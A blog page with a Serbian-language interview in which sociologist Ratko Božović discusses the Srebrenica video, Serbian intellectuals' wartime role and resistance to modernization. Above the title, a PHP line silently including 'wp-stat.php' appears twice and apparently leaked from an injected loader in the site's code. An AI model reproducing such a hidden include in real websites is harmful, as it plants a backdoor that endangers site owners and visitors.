@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); RATKO BOŽOVIĆ, SOCIOLOG KULTURE: Kad se unizi život, sve kreće naopačke – Nedim Sejdinović

RATKO BOŽOVIĆ, SOCIOLOG KULTURE: Kad se unizi život, sve kreće naopačke

– U pitanju je bio šok otrežnjenja, jedna dugo potiskivana slika odjednom se pojavila na televizijskim ekranima. U pitanju je i šok otrežnjenja, koji potvrđuje nadmoć i sugestivnost medija, pre svega televizije – na početku razgovora za “Građanski list” prof. dr Ratko Božović komentariše šok u javnosti izazvan prikazivanjem snimka brutalnog ubistva u Srebrenici i činjenicu da je posle prikazivanja došlo do promene – bar tako tvrde istraživači javnog mnjenja – odnosa građana Srbije prema Haškom tribunalu, i dodaje:

– Dugo godina je u Srbiji pravljenja javnost ne da se otkrije nego da se sakrije istine, a prikazivanje snimka je svojevrstan izlaz iz lažnog života. Zbog toga je prikazivanje snimka ne samo politički, već i kulturološki događaj prvog reda, koji će se verovatno proučavati u budućnosti. Promena odnosa prema Hagu ukazuje da je veliki broj građana neraskidivo vezan za medije. Međutim, plašim se da efekti snimka posle nekog vremena, ukoliko društvo ne krene u ozbiljnije suočavanje sa prošlošću, jednostavno iščile – kaže Božović.

Mnogi su se, međutim, ponašali kao da su prvi put čuli da su se takve stvari dešavale. Možemo li tu činjenicu nazvati licemerjem i da li je licermerje opšta pojava u našem društvu?

– Prvo da vidimo ko je najviše ćutao o ratnim zločinima? Oni koji su morali biti najglasniji, najrazgovetniji i najdosledniji u negaciji zločina. Intelektualci. Zbog toga ovo masovno zgražavanje nad video snimcima zločina danas vidim kao dokaz da su srpski intelektualci i javno mnjenje bili u stanju hibernacije čitavu deceniju. A šok javnosti je šokantan i po tome što dolazi kao zakasnela reakcija i kao deo uspavane savesti. Šok je morao da se dogodi mnogo pre sadašnjih video zapisa, bar posle dvehiljadite. U pravu je Radomir Konstantinović – ako ne primetiš čudovište pomisli da nisi i sam čudovište. To što sada ratotvorci ćute, to je razumljivo. Razumljivo je i to što su se neki od njih pojavili kao preletači – kameleoni, koji se uvek nađu uz odobreno mišljenje. Ko će više verovati u njihovu iskrenost? O licemerima je reč, naravno! Ali, ovo drastično suočavanje sa zločinom nije probudilo one intelektualce koji večito ćute o svemu što je „nacionalna politika”, prikrivajući tom gospodskom distancom nacionalizam i elementarni nedostatak empatije, empatije prema ljudima koji pate.

KRATKO SUOČAVANJE SA ISTINOM?

Postoji opasnost da se sve završi deklarativnom osudom svakog zločina, a mnoge institucije nisu našle za shodno da uopšte reaguju (SANU, Crkva…). Kako to komentarišete?

– Dosadašnje iskustvo sa tim institucijama pokazuje da je ponovo u pitanju stari mehanizam gluvoneme letargije i pogrešnih procena. To što se nedavno dogodilo na Pravnom fakultetu u Beogradu, kad se se proslavljalo „oslobođenje” Srebrenice, sramota je za čitavu akademsku četvrt. Ne znam da li smo zaboravili da samo jedan odsto univerzitetskih profesora nije pristao na lojalnost vlastima kad su degradirali Zakonom o univerzitetu ovu elitnu instituciju. Možda bi tu trebalo tražiti odgovor zašto se ta bruka dogodila. Nije, međutim, razumljivo zašto ovdašnji mediji nisu iskoristili i ovaj video zapis, da temu ratnih zločina konačno postave kao prvorazredno nacionalno i civilizacijsko pitanje i daju šansu protagonistima onog mišljenja koje je u protivstavu sa anahronim odisejama kleronacionalista i nacionalšovinista. Ako ne prevagne takvo stanovište, bojim se da i ovo kratko suočavanje sa istinom ne bude potresna epizoda bestijalnosti iza koje ponovo sledi muk.

Postoji na našoj javnoj sceni, prilično zastupljena, teza da je put u Evropu moguć samo podsticanjem i unapređenjem ekonomije i zakonodavstva, bez izgradnje svesti o tome šta se dešavalo na ovim prostorima tokom devedesetih. Je li takav put odista moguć?

– Svakako da nije. Neophodna je najpre promena u domenu svesti i savesti. Okasnelim istinama ostaje da neumoljivo podsećaju na stvarnost kao prevaru. Bez istine nema ni slobodnog društva ni slobodne javnosti. Istina i sloboda idu zajedno. Početak buđenja iz košmara i suočavanja sa istinom počinje onda kad se sve vidi do kraja.Videti dobro, to je prvi korak. To je početak oslobađanja od zločinačke hipoteke. Sa velikim zakašnjenjem moramo se suočiti sa Srebrenicom kao paradigmom zločina i istorijske sramote. Tu je neizbežno moralno samoodređenje. Postoje i mnogo veći narodi od Srba koji su kroz istoriju uradili velike zločine. Ali oni su veliki i po tome što su uspeli da se suoče sa njima. To svakako nisu mogli bez moralnog preispitivanja, mudrosti intelektualaca i kritičke javnosti. A istorija je puna primera da su prećutani zločini samo uvod u nove zločine! Nije valjda nephodno dokazivati da skrivanje zločina ništa drugo nego zločin. Intelektualci su morali odavno da osnaže i obrazlože ideju da suočavanje sa zločinom nije antisrpstvo. Naprotiv, to je uslov ozdravljenja i pročišćenja. To je način koji brani ideju Srbije koja ide ka demokratiji i civilnim oblicima života.

OTPORI MODERNIZACIJI

Pre skoro tri godine grupa intelektualaca uputila je pismo upozorenja srpskoj javnosti u kojem je ustvrdilo da je kulturni model iz Miloševićevog vremena opstao i čak napredovao u postoktobarskoj Srbiji, i da dominira konzervativno mišljenje posebno se ispoljava u ogorčenom otporu modernizaciji. Gde se kriju duboki uzroci ovdašnjem otporu liberalizmu i modernizmu?

– Otpori modernizaciji u Srbiji imaju dugu tradiciju. Njihovi koreni se mogu naći čak i u strukturi društva koje je u najvećem delu antimoderno, konzervativno i nesklono promenama. Razlog je, svakako, i elita koja je nekako uvek bila bliska vladajućoj politici i državi. Nažalost, kroz istoriju, periodi modernizacije bili su samo kratke epizode iza kojih su sledile decenije tavorenja ili retrogradnih procesa. O tome svedoči i tragična sudbina Zorana Đinđića, koji je došao sa konceptom promene i moderne Srbije i koji je odmah na početku bio svestan koliko će biti usamljen. Srpsko društvo je još uvek zatvoreno, sa traumama iz bliske prošlosti sa kojima ne može da izadje na kraj, sa frustracijom kao posledicom nedefinisanog državnog statusa, sa nejasnim predstavama o prošlosti ali i o budućnosti. Taj otpor se tako uporno održava jer pored ideološke rigidnosti ima svoju arhaičnu predistoriju. Još s početka prošlog veka govorilo se da se naspram „sveže srpske kulture” našla „plesniva zapadna civilizacija”. Jovan Skerlić je 1902. godine opominjao da ima puno ljudi koji “deklamuju” protiv trulog Zapada i koji s ushićenjem govore o nekoj “srpskoj” i “slovenskoj” kulturi kao idealu. Dok su na početku stvaranja moderne srpske države školovani u svetu žurili da se vrate u Srbiju danas stotine hiljada mladih obrazovanih ljudi, odbeglih od ovdašnjeg anticivilizacijskog užasa, nemaju gde da se vrate. Njima je postalo jasno da ovde nisu stvorene osnovne pretpostavke za modernizaciju društva. Jer, poslednjih petnaestak godina, demonstrirali smo umeće kako se ostaje svetska periferija.

Može li se reći da je ovdašnja intelektualna elita doživela ne poraz nego potpuni istorijski fijasko. Da li njenu odgovornost za potpuni moralni pad i društveno rasulo možemo meriti sa odgovornošću političara?

– U stvari, srpski intelektualci su bili nosioci velikosrpskih projekata. Tako se i dogodilo da se nacionalna frustracija pretvori u šovinističko ludilo. Bio je to košmar potiskivanja i zaborava. A intelektualci su godinama učestvovali u tom zaslepljivanju. Pojavili su se najpre u ulozi podstrekača ratnog ludila i ubeđivali javnost da je rat neizbežan. Političari zajedno sa intelektualcima izgradili su stereotip da je svaki govor o vlastitoj odgovornosti i krivici antisrpska ujdurma. U stvari, intelektualci su se uhvatili u kolo sa militantnim političarima kojima je više odgovarala ratna opcija nego mirotvorna i civilizacijska rešenja. Štaviše, postajali su im mentori i ponašali su se kao da su pronašli ključ istorije i alem-kamen istine. Na kraju, stvarnost ih je demantovala jer su njihovi projekti doživeli istorijski fijasko. Njihovu odgovornost teško možemo odvojiti od odgovornosti i grehova političara. Oni su učesnici iste destruktivne i nemoralne igre. Oni su zajedno priredili salto mortale i salto morale.

ISTRAJNOST – NAJNEOPHODNIJA VRLINA

Posle 5. oktobra na javnoj sceni pojavili su se neki književnici, pesnici, umetnici, koji su zajedno sa Miloševićevim medijima duvali u ratne trube. Oni su i dalje ti koji predstavljaju “mainstream” naše kulture. Kako s njima izaći na kraj?

– Teško je sada s njima izaći na kraj jer su oni krajnosti kraja. I haotičnosti kraja. I opasnosti kraja. Oni su tu ponovo da proizvode haos. Isplivali su na površinu baruštine koja odavno zaudara od truleži i raspadanja. A sve se to dogodilo kad nije došlo do diskontinuiteta sa starim režimom, kad nije bilo lustracije i istrajnosti da se sledi i oživotvoruje demokratska alternativa. Pokazalo se da je bio u pravu Andre Žid kad je tvrdio da je istrajnost najneophodnija vrlina. Sada znamo, gotovo bespomoćni, da će se bez te vrline teško mogu dogoditi suštinske promene.

Uz takvu elitu, kako očekivati da se frustracija nedavnih ratova oslobode niži socijalni slojevi?

– To je krajnje neizvestan proces. Šta se, u stvari, desilo srpskoj javnosti: odbila je suočavanje sa istinom, odbila je istinu i bežala od nje. Stoga je srpski narod živeo u negaciji zločina punih deset godina. To nije nimalo neobično ako se setimo cenzure u državi, ispiranja mozgova i ratne propagande. Istinu o ratnim zločinima neobavešteni građani nisu znali ili su odbili da je čuju. Možda je ta istina bila suviše bolna za njih. U svakom slučaju, oni će se morati lečiti i od sopstvene lakovernosti i od autoritarne političke kulture.

Rekli ste jednom prilikom da je u ovoj zemlji konstanta da se podržava ono što je najgore, a po strani drži najbolje. To je odista konstanta, ali kako izaći iz toga začaranog kruga?

– To bi trebalo razumeti kao neminovnost kad prevagne iracionalnost u politici, kad je u njoj ohrabreno zlo i zločin. Kad je mržnja njena najživotvornija odrednica. Kad se porazi vrednost postojanja i kad se unizi život, onda se sve kreće naopačke. Žan Pol Sartr u drami Prljave ruke piše da su u politici ruke ljudske u krvi ili govnima. Ovde je zapravo vođena takva politika. U njoj je nemoralni talog bio isplivao na površinu. Stoga, ako se danas ne shvati da je neophodno napustiti začarani krug apsurda, onda ne postoji svest o neophodnosti promena. I ako se vratimo na početak ovog razgovora i na antievropske tendencije navodno trulog Zapada, onda moramo primetiti da se ponešto od zapadnih vrednosti ovde udomilo, ali ne i ono što Zapad čini tako velikim, u čemu je on doista veliki učitelj:osećanje ličnog dostojanstva, slobodu, inicijativu, onaj vedri preduzimljivi, trezveni duh koji je stvorio svu civilizaciju. Zato su u pravu ono koji smatraju da za nas ima samo jedan lek: otvoriti širom vrata Zapadu i njegovim idejama. To je onaj Zapad koji misli, koji dela, koji stvara, koji živi punim i intenzivnim životom, jedinim dostojnim da se zove ljudskim životom i smislom postojanja.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.